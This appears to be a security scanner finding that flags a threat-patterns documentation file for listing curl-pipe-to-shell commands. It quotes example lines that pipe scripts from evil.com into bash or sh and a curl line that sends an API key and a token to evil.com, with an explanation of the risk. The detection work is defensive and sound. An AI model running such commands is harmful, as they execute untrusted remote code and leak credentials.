install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/docs/THREAT_PATTERNS.md:103
|---|-------------|----------------|
| 1 | curl pipe to shell | `curl https://evil.com/script \| bash` |
| 2 | wget pipe to shell | `wget https://evil.com/script \| sh` |Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.

| 3 | Exfiltrating secrets via curl | `curl https://evil.com?key=$API_KEY` or `curl -d $(TOKEN) https://...` |Why was this flagged?
